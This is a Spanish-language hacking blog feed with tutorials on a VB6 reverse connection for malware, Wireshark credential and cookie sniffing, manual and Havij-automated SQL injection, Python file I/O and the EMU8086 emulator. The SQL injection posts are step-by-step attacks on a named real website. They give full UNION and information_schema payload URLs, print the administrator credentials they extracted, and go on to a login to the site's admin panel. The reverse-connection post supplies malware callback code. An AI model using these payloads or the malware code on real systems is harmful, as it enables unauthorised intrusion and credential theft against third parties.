Quantcast
Channel: [A]NTRAX - [L]ABS
Viewing all 44 articles
Browse latest View live

Conexion Inversa

$
0
0
Introducción:

Hola a todos, en este papers les enseñare a crear una conexión inversa para que puedan colocarla luego en sus malwares.
El método que les mostrare es muy sencillo y se puede mejorar muchísimo, pero es para que tengan una idea de cómo se usa.
Lo que necesitaremos para este tutorial será tener una cuenta en www.no-ip.com

NO-IP

Una vez registrados, nos logueamos colocando nuestro mail y pass que colocamos. Seguido a esto, veremos un menú como este:

Vamos a Add a Host y únicamente colocamos el hostname que usaremos. El resto lo dejaremos tal cual esta.

Presionamos en el botón Create Host y listo.

Ahora nos descargamos el cliente para conectarnos a nuestra no-ip que su descarga está disponible en esa misma web.

Una vez descargado, lo instalamos y tendremos algo como lo siguiente:

Nos logueamos con el user y pass con los cuales nos registramos y veremos la no-ip que nos hemos creado:

La activamos y damos en Save

Si tenemos las tres tildes en verde, es porque todo está perfecto. Ahora pasaremos a la programación.

Implementación en el server

Ahora lo que nos quedaría, seria colocarlo en el server.
Agregamos el control Winsock. Vamos al menú en Proyecto y seleccionamos Componentes
Y añadimos el control Microsoft Winsock Control 6.0

 Nos aparecerá un nuevo control con este icono:

Simplemente lo arrastramos hacia adentro del formulario:

Ahora damos doble click sobre el formulario y añadimos el siguiente código:
Private Sub Form_Load()
'Conexion Inversa
Dim ip As String
Dim ipftp As String
Dim port As Integer

ip = "antrax-labs.no-ip.org"
ipftp = "antrax-labs.no-ip.org"
port = 81
WS.RemoteHost = ip
WS.RemotePort = port
tmr_inversa.in terval = "3000"
End Sub
Recuerden cambiar IP, IPFTP por su no-ip y el Puerto por el que tengan abierto en su router.
Como bien dije al principio, esto se puede mejorar y mucho, ya que en lugar de modificar el código fuente del server manualmente se vuelve tedioso y puede ser reemplazado por un edit server o un build server desde el cliente. Pero eso ya quedara para otro tutorial.
Espero que les sirva y hayan entendido como funciona.

Sniffing con Wireshark

$
0
0
Introducción.

Wireshark es un analizador de paquetes de red, comúnmente llamado sniffer.
Es utilizado por administradores de redes para ver todo el tráfico que está pasando en un momento específico.
Una de las ventajas que tiene, es que es open source y multiplataforma.
Wireshark ofrece distintos tipos de filtros para leer los paquetes. Captura a demás cookies y passwords que veremos a continuación en este paper.
Para instalar wireshark simplemente hay que ir a su página oficial y descargarlo.
http://www.wireshark.org/download.html
Desde linux, se puede descargar desde la consola.

Sudo apt-get install wireshark

Partes de Wireshark

Enumere las partes más importantes del Wireshark para describirlas por separado.
1 – Muestra un listado de las interfaces disponibles que podemos poner a la escucha de paquetes.
2 – Permite configurar algunos parámetros de nuestra interface
3 – El filtro permite filtras paquetes separándolos por IP, protocolos, etc
4 – Listado de paquetes. Muestra un resumen de los paquetes capturados, presionando con el otro botón del mouse se listaran opciones disponibles para manejarlos a gusto.
5 – Panel de vista en Árbol. Muestra el paquete seleccionado con mayor detalle.
6 – Panel de detalle  de los datos. Muestra los datos del panel superior en formato hexadecimal y ascii

También podemos ver en el menú superior las siguientes opciones:

File: Contiene las funciones para manipular archivos y para cerrar la aplicación Wireshark.
Edit: Este se puede aplicar funciones a los paquetes, por ejemplo, buscar un paquetes especifico, aplicar una marca al paquete y configurar la interfaz de usuario.
View: Permite configurar el despliegue del paquete capturado.
Go: Desde acá podemos ir a un paquete especifico, volver atrás, adelante, etc.
Capture: Para iniciar y detener la captura de paquetes.
Analyze: Desde analyze podemos manipular los filtros, habilitar o deshabilitar protocolos, flujos de paquetes, etc.
Statistics: Podemos definir u obtener las estadísticas del trafico capturado.
Telephony: Trae herramientas para telefonía.
Tools: Opciones para el firewall
Internal: Parámetros internos de Wireshark
Help: Menú de ayuda.

Primeros pasos con Wireshark

Una vez instalado, lo abrimos y presionamos sobre el icono marcado en rojo en la imagen

Esto nos permitirá seleccionar nuestra tarjeta de red que pondremos a la escucha de paquetes.

Para saber que tarjeta poner a la escucha, debemos observar cual es la que recibe paquetes.
Se puede observar en la imagen que en mi caso es la wlan0. Una vez identificada, damos en Start para comenzar.
Automáticamente el programa comenzara a capturar paquetes de todos los hosts conectados a la red.
Ahora navegare un poco con mis ordenadores por internet para ver que podemos capturar.

Les mostrare un ejemplo de cómo se manifestó mi wireshark cuando hice un apt-get install en la consola de Linux

Ahí podemos ver de que ip a que ip se mueven los paquetes y porque protocolo. A demás de esto podemos ver el contenido del paquete que lo veremos más adelante en este mismo paper.
Si observamos la imagen, hay una caja de texto llamada Filter.

Esa caja de texto, como bien dice su nombre, permite filtrar paquetes. Y ahora veremos algunos de los filtros que posee Wireshark para que podamos usar este sniffer de una forma más eficiente.
En el filtro se pueden usar operadores lógicos como los siguientes:
== (Igual que)
> (Mayor que)
< (Menor que)
!= (Distinto que)
>= (Mayor o igual que)
<= (Menor o igual que)
Basándome en el paper de Datasecurity, les dejo a continuación los parámetros más usados en este sniffer

Filtros por IP

[En todos los ejemplos, reemplazar 0.0.0.0 por la ip a filtrar]
ip.addr = = 0.0.0.0
ip.addr = = 0.0.0.0 && ip.addr = = 0.0.0.0 (Para filtrar más de una IP )
ip.addr = = 0.0.0.0 || ip.addr = = 0.0.0.0 (Para filtrar una IP de cualquiera de las dos)
Para filtrar paquetes de la fuente en direcciones IPv4 especificas:
ip.src == 0.0.0.0
ip.src == 0.0.0.0 && ip.src == 0.0.0.0 (Para filtrar más de una IP )
ip.src == 0.0.0.0 || ip.src == 0.0.0.0 (Para filtrar una IP de cualquiera de las dos)
Para filtrar paquetes del destino en direcciones IPv4 especificas:
ip.dst == 0.0.0.0
ip.dst == 0.0.0.0 && ip.dst == 0.0.0.0 (Para filtrar más de una IP )
ip.dst == 0.0.0.0 || ip.dst == 0.0.0.0 (Para filtrar una IP de cualquiera de las dos)
Nota: Para direcciones IP v6 utilice: ipv6.addr, ipv6.src, ipv6.dst, etc.

Para filtrar paquetes del protocolo ARP entre:
arp.src.proto (dirección del protocolo de la fuente)
arp.src.hw (dirección hardware de la fuente)
arp.dst.hw (dirección hardware del destino)
arp.src.hw_mac (dirección MAC de la fuente)
arp.dst.hw_mac (dirección MAC del destino)
arp.src.proto_ipv4 (dirección IPv4 de la fuente )
arp.dst.proto_ipv4 (dirección IPv4 del destino)
Para filtrar paquetes del protocolo Ethernet:
eth.dst == ff:ff:ff:ff:ff:ff (dirección MAC)
eth.src == ff:ff:ff:ff:ff:ff (dirección MAC)
eth.addr == ff:ff:ff:ff:ff:ff (dirección MAC)
Veremos un ejemplo con uno de los filtros: ip.addr == 192.168.1.37

En este caso me debería mostrar los paquetes correspondientes a la ip 192.168.1.37
Se puede ver en verde también 192.168.1.1 y esto es porque hace petición al router.

Filtro por protocolo

Como vimos hasta ahora, este filtro es muy poderoso, pero se darán cuenta de su potencial ahora que filtraremos por protocolo.
Algunos de los filtros son estos: tcp, http, pop, dns, arp, ssl, etc.
Con un Sniffer podemos obtener datos muy importantes. Desde cookies hasta usuarios y contraseñas. A modo ejemplo, abriré un FTP y veremos lo que hace nuestro Wireshark:

Como se puede ver, solo filtre el protocolo FTP. Y tambien notaremos que sacó mi user y pass del FTP.
Veremos ahora otros de los protocolos que suele capturar. En este caso hare un ping a mi blog www.antrax-labs.org

La imagen muestra el protocolo DNS e ICMP. Que si los añadimos en la caja de texto de filtro, nos los filtrara.
Aquí tenemos filtro por DNS

Cabe aclarar que cada protocolo tiene un color diferente (que puede modificarse a gusto) para resaltarlos y distinguirlos con mayor facilidad.

Otros filtros

Veremos ahora otros filtros de gran utilidad, como este otro que nos permite filtrar por dominio o host
http.host == “DOMINIO”
Acá lo que hice fue poner la url de facebook y robo mi cookie. Veremos ahora un ejemplo con otra web, pero filtrando nada más que el protocolo TCP:

Se puede ver de qué ip privada navego hacia que ip publica. En este caso, la ip pública es la del foro infiernohacker y abajo muestra la url de referencia.

Otras opciones de Wireshark

Veremos ahora algo que se llama Go to Packet o ir al paquete. Para usar esta opción basta con ir a GO >> Go to Packet en el menú de la barra superior.
Permite ir a un número de paquete que especifiquemos en el cuadro de texto.

Otras de las opciones muy útiles que tiene Wireshark es la de poder mostrar en formato ascii la lectura de los paquetes capturados para poder así facilitar su entendimiento
Para ir a esta opción colocamos en el filtro HTTP y solo basta con clickear con el botón secundario del mouse y seleccionar Follow TCP Stream

Como se puede ver, se ve mucho más entendible el código y permite tambien pasarlo a Hexadecimal, C Array etc.

Espero que les haya sido de utilidad

ANTRAX

SQL Injection desde cero

$
0
0

Introducción:

Hola a todos, En este tutorial les enseñare SQLi desde cero.
Al ser un tutorial con fines educativos y no destructivos. Solamente veremos cómo obtener el usuario y contraseña de administrador. El resto corre por cuenta de cada uno lo que quiera hacer con el acceso…
Se comenzara buscando una web cualquiera en google, buscaremos un lugar en la web para inyectar, haremos la inyección y obtendremos los datos de acceso. Pero antes comenzaremos con un poco de teoria.

SQL

Es un lenguaje normalizado, estructurado de consultas a bases de datos. Esto quiere decir, que en casi todas las consultas a distintos tipos de bases de datos, se usan las mismas sentencias.
SQL, cuenta con dos comandos, que son los DLL (permiten crear y definir bases de datos, campos e índices) y por otro lado los comandos DML (permiten generar consultas, filtrar y extraer datos de la base de datos).
Nos centraremos en ese último, ya que SQLi, consiste en generar consultas a la base de datos para que nos devuelva datos de interés.
Los comandos DML son:

Delete: Permite eliminar registros de la base de datos.
Update: Modifica valores de campos previamente creados.
Select: Sirve para consultas registros en la base de datos.
Insert: Carga lotes de datos en una base de datos.

Clausulas

Las clausulas son condiciones de modificación. Y se emplean para definir datos o manipularlos.
Entre las clausulas tenemos:

Order By: Ordena registros seleccionados
Group by: separa registros
Having: expresa una condición que debe satisfacer cada grupo
From: Sirve para especificar una tabla de la cual se quieren obtener registros
Where: Sirve para las condiciones que debe reunir un registro para ser seleccionado

Operadores Logicos

Los operadores lógicos o conectivos lógicos se utilizan para conectar dos formulas para que el valor de verdad. Siempre darán un valor de verdad verdadero o falso y se leen de izquierda a derecha.
Los operadores lógicos usados son:

Or: Evalua dos condiciones, devolviendo un valor de verdad verdadero si alguna de las dos es verdadera
And: Evalua dos condiciones y devuelve un valor de verdad verdadero, si ambas condiciones son iguales.
Not: Devuelve un valor contrario a la expresión. Si la expresión es True, devolverá False y viceversa

Operadores de comparación:


Los operadores de comparación, son utilizados para comparar dos valores o formulas.
Los operadores son:

< Menor que > Mayor que
<> Distinto que
>= Mayor o igual que
<= Menor o igual que
Between: especifica un intervalo de valores
Like: Compara un modelo
In: Especifica registros en una base de datos

Funciones de agregado

Estas formulas se utilizan dentro de la clausula Select en grupos de registros para devolver un único valor que se aplica en un grupo de registros.

Max: devuelve el valor más grande de un campo específico
Min: Devuelve el valor más chico de un campo especifico.
Sum: Se utiliza para devolver la suma de todos valores de un campo específico
Avg: calcula el promedio de un campo específico Count: Devuelve el numero de registros de la selección Limit: devuelve un rango de resultados deseados en lugar de todos los que puede devolver dicha consulta.

Otras consultas

Veremos a continuación otras consultas que se suelen utilizar en las inyecciones SQL.

Union: Sirve para combinar el resultado de dos consultas juntas.
Information_schema.tables: Devuelve información de una tabla determinada
Information_schema.columns: Devuelve información de una columna determinada
Concat: Concatena los resultados de varios campos diferentes
Group_concat: devuelve como resultado una cadena de concatenación de un grupo de valores no nulos Char: se utiliza para insertar caracteres de control en cadenas de caracteres. 

SQLi

Este tipo de ataque consiste en inyectar código SQL en una sentencia SQL ya programada, con el fin de alterar el funcionamiento de la base de datos.
Lo que haremos a lo largo de este tutorial, será inyectar código SQL a una web, con el fin de ocasionarle errores a la base de datos para que nos devuelva datos que usaremos en nuestra inyección y finalmente obtener los datos de acceso al panel de administración.

Dorks:

Los Dorks son palabras claves que usaremos para encontrar sitios vulnerables.
Un ejemplo de dork seria el siguiente: noticia.php?id=
En google deberíamos poner lo siguiente: inurl: noticia.php?id=
Esto nos arrojara muchos resultados de sitios que quizás ya no sean vulnerables. Pero es por eso que debemos ir alternando Dorks, hasta que logremos dar con una.
El método para generar dorks seria cambiar el noticia por otro nombre, por ejemplo news, view, photo, etc. Y el resto quedaría igual.
Otra de las cosas a tener en cuenta, es que después de realizar la búsqueda, ir a las páginas del final que son las que más desactualizadas están y probablemente sean vulnerables.
Veremos a continuación un ejemplo:

Coloco el Dork en google y comienzo a navegar, buscando webs que puedan llegar a ser vulnerables. Yo encontré esta:

Como se puede ver, ahí en la url aparece el dork que coloque en google

Pero… ¿cómo me doy cuenta si es o no vulnerable?

Acá empieza la parte entretenida. Lo que debemos hacer es borrar lo que esta después de id= y provocar un error en la base de datos.

¿Y de qué forma podemos provocar un error?

Fácil… colocando caracteres no permitidos, por ejemplo una comilla, un numero negativo, etc. Colocare un -1 (uno negativo) y veremos cómo se comporta la web

Pagina original:

Pagina con el -1:

Se puede notar que no han cargado elementos dentro del cuerpo de la página, esto da señal a que puede ser vulnerable.
Ahora probemos colocando una comilla:

Nos tira un error de la base de datos:
Fatal error: Call to a member function RecordCount()
on a non-object in /home/samg/public_html/include/objetos/Noticia.class.php
on line 333
Con esto podemos ver que pudimos generar un error en la consulta a la base de datos.

SQL Injection

Ahora probaremos si realmente es vulnerable o no a SQLi. Para ello, después del id= colocaremos lo siguiente:
-1+UNION+SELECT+1,2--
 Y en mi caso, en el cuerpo de la página, me sale el mismo Fatal error que cuando ingrese la comilla simple.
Lo que debemos hacer ahora, es comenzar a añadir números, hasta que ese error desaparezca.

La inyección seria así:
-1+UNION+SELECT+1,2,3--
-1+UNION+SELECT+1,2,3,4--
-1+UNION+SELECT+1,2,3,4,5--
Y asi sucesivamente hasta que el error desaparezca. En mi caso quedo hasta el numero 12, pero hay ocasiones en las que puede superar los 60!

Cuando el error ya no este, nos volverá a mostrar la pagina, y curiosamente contiene uno o mas  números en el cuerpo de la web

Ese 5 y ese 2, son números de tablas, la web es vulnerable a SQLi. En este caso debo elegir uno de los dos números, yo seleccionare el 5 por que es el mas vistoso, pero en definitiva se puede usar cualquiera.
Usare a ese 5 para que me muestre los nombres de las tablas en su lugar.
Lo que sigue ahora es agregar después del último número de la url el siguiente código:
+from+information_schema.tables--
Quedaría en mi caso, así:

 Y reemplazar el número 5 (que fue el numero que nos apareció en el cuerpo de la pagina) por table_name

 Una vez hecho esto, presionamos enter y veremos que en el cuerpo del mensaje nuestro numero desapareció y apareció el nombre de una tabla en su lugar.

Lo que debemos hacer ahora, es agregar después de information_schema.tables lo siguiente:
+limit+2,1--

Quedaría algo así:

Y si miramos el cuerpo del mensaje, el nombre de la tabla, cambió

Lo que sigue, es ir sumándole +1 al limit para que valla de forma creciente, hasta encontrar una tabla que pueda contener los datos del administrador de la página
El limit debería ir de la siguiente forma:
+limit+2,1--
+limit+3,1--
+limit+4,1--
+limit+5,1--
Y así sucesivamente hasta hallar una tabla importante. En mi caso llegue hasta la 38 y encontré la de administradores.

Lo que sigue, es convertir ese nombre a ASCII. Asique buscaremos en google algún conversor de string a ascii.

El resultado de samg_administradores es el siguiente:
115 97 109 103 95 97 100 109 105 110 105 115 116 114 97 100 111 114 101 115
Ahora sacaremos los espacios que hay entre los números y colocaremos comas entre los valores:
115,97,109,103,95,97,100,109,105,110,105,115,116,114,97,100,111,114,101,115
Guardaremos esa cadena de números para usarla luego en nuestra inyección.
Ahora volvemos a nuestra inyección y cambiaremos table_name por group_concat(column_name) y information_schema.tables por
information_schema.columns+where+table_name=char(115,97,109,103,95,97,100,109,105,11
0,105,115,116,114,97,100,111,114,101,115)--
y quitamos el +limit+ con sus valores numéricos.

Debería quedar así:
http://www.samg.es/web/noticias/noticia.php?id=-1+UNION+SELECT+1,2,3,4,group_concat(column_name)
,6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=char(115,97,109,
103,95,97,100,109,105,110,105,115,116,114,97,100,111,114,101,115)--
Si observamos, el cuerpo de la página, veremos la composición de las columnas de la tabla

Las que me sirven en mi caso son las columnas de Login y Password, asique ahora reemplazaremos en la inyección lo siguiente:
group_concat(column_name) por concat(Login,0x3a,Password)
Concat significa concatenar, algo similar que unir. Y el 0x3a, son dos puntos. Esto es para que el usuario y la contraseña no aparezcan juntas, sino que los separe los dos puntos. Teniendo un resultado algo así:

Usuario:Contraseña

Y borraremos desde information_schema.columns en adelante y dejaremos solamente el +from+
Y luego de ese from, colocamos el nombre de la tabla, que en mi caso se llamaba: samg_administradores
Quedándome lo siguiente:

Y en el cuerpo de la página, podremos ver los datos del administrador:

Usuario: samg
Contraseña: samg06
En caso de querer hackear la web, solo resta encontrar el panel de admin con algún admin finder. Pero como dije al principio del tutorial, este paper es con fines educativos.
Espero que les haya gustado y que les sea útil.

ANTRAX

I / O en Python

$
0
0
Introducción:

La función f.write de python, se usa para la entrada y salida de datos. Esta función es muy útil, ya que no solo permite crear archivos de texto plano, sino que también podemos hacer otros scripts a partir de este.

Creando un archivo:

Empezaremos creando un archivo de texto plano. El comando para ello es el siguiente:
f= open("test.txt")
Si no añadimos ningún parámetro, por defecto le añadirá 'r'. Este parámetro sirve para leer datos que hay en ese archivo.
Si lo que deseamos es crear un fichero para escribir en el, debemos colocar:
f=open("test.txt", 'w')
Si queremos añadir contenido al final del archivo, se coloca 'a'
f=open("test.txt", 'a')
Para utilizar el contenido de un binario se coloca 'b'
f=open("test.txt", 'b')
Para cerrarlo, solo basta con llamar a
f.close()
Escribiendo en el archivo:

Para poder escribir en el fichero, se utiliza el comando:
f.write("texto")
Veremos un ejemplo:
f = open("test.txt",'w')
f.write('hola mundo\n')
a=raw_input("Ingrese numero: ")
f.write("El numero ingresado es: ")
f.write(a)
f.close()
Creamos el fichero, colocamos un hola mundo y escribimos un número

Leer un archivo:

Para poder leer un archivo, se utiliza el comando read. La línea sería la siguiente:
f.read()
Y si queremos que nos imprima el contenido del txt. Solo debemos añadirle un print:
f = open("test.txt")
print f.read()
f.close()
Si quisiéramos leer una sola línea, reemplazamos el read por readline. Y de esta forma solo nos leerá una línea.
Scripts
A demás de texto plano, podemos también crear scripts en python. Solo deberíamos hacer una modificacion
f= open("test.py", 'w')
El resto ya sería el script. Y acá les dejo un ejemplo con una suma de dos números

Script:
f = open("test.py",'w')
f.write('a=raw_input("Ingrese un numero: ")\n')
f.write('print "Valor de a:", a\n')
f.write('b=raw_input("Ingrese otro numero: ")\n')
f.write('print "Valor de b:", b\n')
f.write('c=a+b\n')
f.write('print "Resultado de la suma:", c')
f.close()
Resultado:
a=raw_input("Ingrese un numero: ")
print "Valor de a:", a
b=raw_input("Ingrese otro numero: ")
print "Valor de b:", b
c=a+b
print "Resultado de la suma:", c

SQLi Automatizado con Havij

$
0
0
Introduccion

Hola a todos, soy ANTRAX. En este tutorial les voy a enseñar a como automatizar SQL Injections.
Utilizare una herramienta llamada Havij, que automatiza todos los pasos. Desde inyectar, hasta obtener usuario y pass, y hasta el panel de admin.
Havij es una herramienta muy cómoda que hace ahorrar mucho tiempo.
De forma simple, en este paper les enseñare como usarlo para sacarle provecho.

Esa es su apariencia, con su menú. Como se puede ver, también desencripta los hash de admines utilizando bases de datos online [MD5]

Analizando una web

El primer paso será ver si una web es vulnerable o no. Para este tutorial usare la misma web que use en el tutorial anterior: www.samg.es/web

 Como bien vimos en la parte anterior “SQLi desde Cero” Debemos buscar algo que tenga un “id=X” para poder inyectar desde ahí.
Pruebo como lo hacía en el paper anterior de cambiar el numero del id por -1 o comilla simple. Y al parecer es vulnerable:

 Bien, ahora que sospechamos que es vulnerable, la probaremos con Havij.

Colocamos únicamente que la url en donde vamos a inyectar incluyendo el ID y presionamos en Analyze.
Ahora solo toca esperar… En caso de que sea vulnerable, nos mostrara el nombre de la base de datos con sus tablas.

Base de datos, tablas y datos

Una vez que termine, veremos que se habilita la opción de tablas y a demás en el Status, nos muestra el nombre de la base de datos:


Presionamos sobre el botón Tables

 Antes de seguir, me detengo un momento aquí para explicarles un poco lo que se ve en la imagen.
Este maravilloso programa, tiene la facilidad de mostrarnos datos importantes solo con unos clicks del mouse…
Este programa esta ordenado de cierta forma, y hay que seguir el orden de izquierda a derecha.
Lo que muestra ahora la imagen, es el nombre de la base de datos, lo que sigue, es clickear el botón de su derecha “Get Tables” para obtener los nombres de todas las tablas

 Como se puede apreciar, me listo todas las tablas la base de datos. En ese listado, debemos buscar alguna tabla que pueda contener datos de interés. En mi caso se llama samg_administradores
Una vez seleccionada, presionamos el siguiente botón que es Get Columns para que nos muestre las columnas de esa tabla

 Seleccionamos las columnas que más nos interesen, yo solo quiero user y pass. Una vez tildados, damos en Get Data para obtener los datos de los administradores

 Como se puede ver, ahí me muestra el usuario y contraseña de admin. Lamentablemente no es la misma del tutorial anterior, ya que algún tonto sin ética entro y lo modifico…

Panel de admin

Finalmente buscaremos el panel de administración para loguearnos y podes entrar con los datos recientemente sacados.
Para ello, Havij cuenta con un Admin Finder, que es el botón Find Admin. Presionamos ahí y colocamos la url de la página:

Damos en Start y esperamos a que nos muestre la url del panel:

Probamos si es esa y colocamos los datos obtenidos:

Y estamos adentro!!

MD5 Decrypter

Pero… ¿qué pasa si me muestra el usuario y la contraseña esta encriptada?

 Acá se puede ver que las pass están en MD5.
Havij cuenta con un decrpyter. Damos click en la llavecita que dice MD5, colocamos el hash y esperamos a que busque en bases de datos online hasta que lo encuentre:

Como se puede ver, la pass es atencao

Despedida:

Bueno, esto es todo por ahora, espero que les haya gustado y nos vemos en un próximo tutorial.
Greets: Cronos - Dracko.rx 
Tutorial hecho solo con fines educativos

Emulador EMU8086

$
0
0
El Emulador EMU8086 es el primer programa que se utiliza en el curso de Microprocesadores que imparte la Universidad Don Bosco; se ha elegido este emulador porque posee una interfaz de usuario muy amistosa que permite familiarizarse con los fundamentos de la programación en lenguaje ensamblador de forma muy intuitiva, aparte de eso brinda una serie de recursos para ejecutar y depurar los programas. También tiene algunas desventajas como el de no soportar algunas de las interrupciones más interesantes que posee el sistema operativo y tampoco puede acceder a los puertos físicos (reales), sino que los emula usando otros programas que ya están incluidos en su respectiva carpeta.
Para iniciar se debe ejecutar el archivos EMU886.exe, que se encuentra en la carpeta del mismo nombre, en el directorio raíz; seguramente en la computadora donde corra el programa tendrá otras alternativas para activar el programa, como un acceso directo en el escritorio o en el menú de programas del sistema operativo.
Si está ejecutando la versión 4.05 del EMU8086 observará primero la pantalla de
Bienvenida (welcome), similar a la que se muestra en la Figura 1

 Figura 1. Pantalla de bienvenida del emulador EMU8086.
Se presentan cuatro diferentes opciones para elegir: 

• New : Le permite escribir un nuevo código en lenguaje ensamblador (al que
Llamaremos “Código Fuente” y tendrá extensión .ASM)

• Code examples: Le permite acceder a una serie de programas ejemplos que
pueden ayudarle a comprender funciones más complejas.

• Quick star tutor : activa un conjunto de documentos de ayuda, se recomienda
revisarlos frecuentemente en caso de dudas.

• Recent file : Le muestra los últimos archivos que se trabajaron en la máquina.
Para continuar este primer contacto con el emulador, seleccioneNew. Observará una
nueva caja de dialogo “choose code template”, como se muestra en la Figura 2

Figura 2. Caja de dialogo para seleccionar el tipo plantilla (template).
En ella se le presentan seis opciones, cuatro que le permiten usar plantillas predefinidas con algunos de los tipo de archivo que se pueden crear en lenguaje ensamblador: COM template, EXE template, BIN template y BOOT template (cada uno le permite diferentes características que se abordaran a su debido tiempo en el curso). Dos que le permiten usar un espacio vacío “empty workspace” (sin una plantilla) o activar el emulador mismo. Selecciones la opción del espacio vacío. Observará la ventana de edición o mejor dicho el Entorno de Desarrollo Integrado (Integrated Development Environme IDE), como se muestra en la Figura 3, donde escribirá sus archivos fuentes en lenguaje ensamblador, por favor lo confunda con el lenguaje de máquina.
Podrá ver una barra de menú de Windows con sus opciones file, edit, etc. pero también vera unas opciones poco usuales como assembler, emulator, etc. propias del emulador. También vera una serie de botones que le permitirán crear un nuevo archivo (new), abrir un archivo que ya existe (open), abrir un ejemplo (examples), compilar un archivo fuente (compile), emular un archivo ejecutable (emulate) y otras opciones que ira descubriendo a medida que se familiarice con el programa. 

Figura 3. Ventana de edición o Entorno de Desarrollo Integrado IDE del EMU8086.
Bueno, es el momento de estudiar nuestro primer programa en lenguaje ensamblador, el cual imprime en pantalla algunas cadenas de texto. Para comprender mejor como funciona revise primero la Figura 4, donde se presenta un diagrama de flujo.


Figura 4. Diagrama de Flujo del ejemplo.
Ahora observe la Tabla 1 donde aparece el código fuente escrito en lenguaje
Ensamblador. Por favor note que el programa está compuesto de diferentes bloques

Tabla 1. Programa en lenguaje ensamblador.
Directivas de pre proceso: Le indican al compilador que debe realizar una serie de acciones particulares en el momento de convertir el archivo fuente (ASM) en archivo objeto (OBJ). 

Segmento de Datos: Donde se declaran las variables y constantes que el programa va a utilizar. 

Segmento de Código: Donde especifica lo que deseamos que el programa haga. Para especificarlo se pueden usar: instrucciones (propias del microprocsador), Macro-instrucciones (similar a los comandos de los lenguajes de alto nivel) y procedimientos (similar a las funciones definidas por el usuario de los lenguajes de alto nivel). 

Segmento de PILA o STACK: bloque de memoria donde almacenan datos intermedios que se generan durante la ejecución de un programa. En este no se declaran variables o constantes como en el segmento de datos, sino que se administra como una memoria LIFO, el último en entrar es el primero en salir. 

Directiva que indica el fin del archivo, cualquier instrucción posterior a esta línea Será ignorada. 

Digite el código en el IDE, note como se le asignan diferentes colores a las líneas, dependiendo si son instrucciones, macro-instrucciones, comentarios, cadenas de texto (formato ASCII), directivas, etc. 

Al terminar de digitar el código salve el archivo usando como nombre su número de carnet (8 caracteres) y con extensión ASM (ensamblador). 

Presione el botón “compile” para convertir el archivo fuente (ASM) en ejecutable (lenguaje de máquina), debe aclararse que al compilar solo se crea un archivo objeto que no es ejecutable, se necesita de otro proceso, el enlazado (LINK), para lograr que el archivo objeto se convierta en ejecutable (EXE), pero por facilidad el emulador realiza los dos procesos de forma secuencial al presionar el botón “compile”. 

Mientras se realiza la compilación y enlazado se abre un ventana llamada “assembler status” que le informa sobre los resultados del proceso. Si el resultado es exitoso observará un mensaje como el de la Figura 5. 

Figura 5. Estado del proceso de compilación.
Luego se le pedirá que salve el archivo EXE, por defecto se le asigna el mismo nombre del archivo fuente, pero usted puede elegir otro, siempre de 8 caracteres máximo, use el nombre por defecto, Si existe algún problema (error de sintaxis u otros) en la ventana “assembler status” se le indican las líneas donde están los errores, para hacer las correcciones cierre la ventana “assembler status” y corrija el archivo fuente, que se encuentra en el IDE e intente compilar nuevamente. 

Volviendo al caso de no tener errores, la ventana “assembler status” le muestra diferentes opciones como revisar algunos de los archivos complementarios que se crearon en el proceso de compilación y enlazado (opción view), puede ejecutar el archivo usando el programa DEBUG (opción external). Esta es otra herramienta que se estudiará más adelante en el curso, puede ejecutar directamente el archive EXE (RUN) o puede cerrar la ventana (close). Seleccione esta opción. 

Emule el archivo EXE presionando el botón “emulate”. Notará que se abren dos ventanas: Una llamada “emulator” en la que podrá monitorear la mayoría de procesos al ejecutar el programa y otra llamada “original sourse code” que muestra el código fuente del archivo, esta ventana es diferente de la que observa en el IDE porque en ésta podrá observar cual instrucción esta a punto de ejecutarse, es ideal al corre programas pasos a paso. 

Ahora observe con más detenimiento la ventana llamada “emulator” Figura 6, ésta será la que más utilice a la hora de ejecutar las prácticas de laboratorio, por lo que es importante que la conozca y maneje de forma efectiva. 

Figura 6. Ventana del Emulador.
En la parte superior tiene una barra de herramientas con las siguientes opciones:

File, permite administrar (cargar o salvar) los archivos que va creando o ejecutando
Math, da acceso a una calculadora y un convertidor de basas de numeración.
Debug, provee herramientas para depurar programas.
View, permite abrir otras ventanas que pueden ser de mucha ayuda al ejecutar o depurar programas.
External, permite ejecutar el programa con otras herramientas diferentes del
EMU8086.

Virtual devices, activa los dispositivos virtuales con que cuenta el programa, dado que se trata de un emulador no se tiene acceso a los puertos físicos de la computadora, por lo que estos son simulados.

Virtual drive, da opciones para administrar las unidades virtuales de almacenamiento (HDD y FDD virtuales).

Help, activa la herramienta de ayuda.
Bajo la barra de herramientas hay cinco botones que le permiten:

Load, carga un archivo ejecutable EXE, COM, etc. que ya existe.
Reload, recarga (inicializa los registros) para ejecutar nuevamente un programa que acaba de ser corrido.

Single step, ejecuta solamente una instrucción o macroinstrucción (paso a paso).

Step back, retrocede una instrucción que ya fue ejecutada (función muy útil al depurar un programa)

Run, ejecuta un programa en su totalidad o hasta presionar el botón “STOP”.
Vale la pena hacer notar que también es posible, en la opción DEBUG, insertar un “break point” cuando se está depurando programas.

La parte media está dividida en tres partes:
Parte izquierda denominada “registers”, donde se puede monitorear el contenido de los registros del microprocesador.

Parte central, donde se puede observar el contenido de la memoria desde donde se está ejecutando el programa. Primero se notan las direcciones del bloque de memoria que se visualiza, estas direcciones de dan en un formato llamado físico o absoluto (existe otro formato para las direcciones) dado por cinco cifras hexadecimales (20 bits) lo que indica que en este bus de direcciones se puede direccional desde la dirección00000h (dirección 0) hasta la direcciónFFFFFh (dirección 148575). Luego se indica el contenido de cada palabra (cada una de 1 byte), por facilidad el contenido se presenta en hexadecimal, decimal e
interpretado como un carácter ASCII.

Parte derecha, donde puede observar el contenido de la memoria, pero esta vez no se detalla con direcciones específicas, sino que cada bloque de datos es interpretado como un conjunto de instrucciones (lo que llamaremos programa DESENSAMBLADO) que el microprocesador deberá ejecutar. Es importante mencionar que algunas instrucciones se expresan solo con un byte, pero otras necesitan varios bytes para ser expresadas


Parte inferior, contiene una serie de botones que permiten un acceso rápido a una serie de ventanas auxiliares, algunas de las cuales se puede activar también en la barra de herramientas con la opción “view”
Regresando a la estructura del programa estudiemos el Segmento de Datos: Puede observar que se hab declarado tres cadenas de datos llamadas frase, frase_2 y línea; note que luego del nombre de la cadena de ha incluido la directiva db (definir byte) que indica al compilador que ese es el tipo de datos que contendrá la cadena. A parte de eso en las primeras dos cadenas se han usado comillas simples para definir el contenido, eso indica al compilador que el texto debe ser interpretado como caracteres ASCII. En el caso de la última cadena los datos no están entre comillas, lo que indica que serán interpretados como datos hexadecimales.
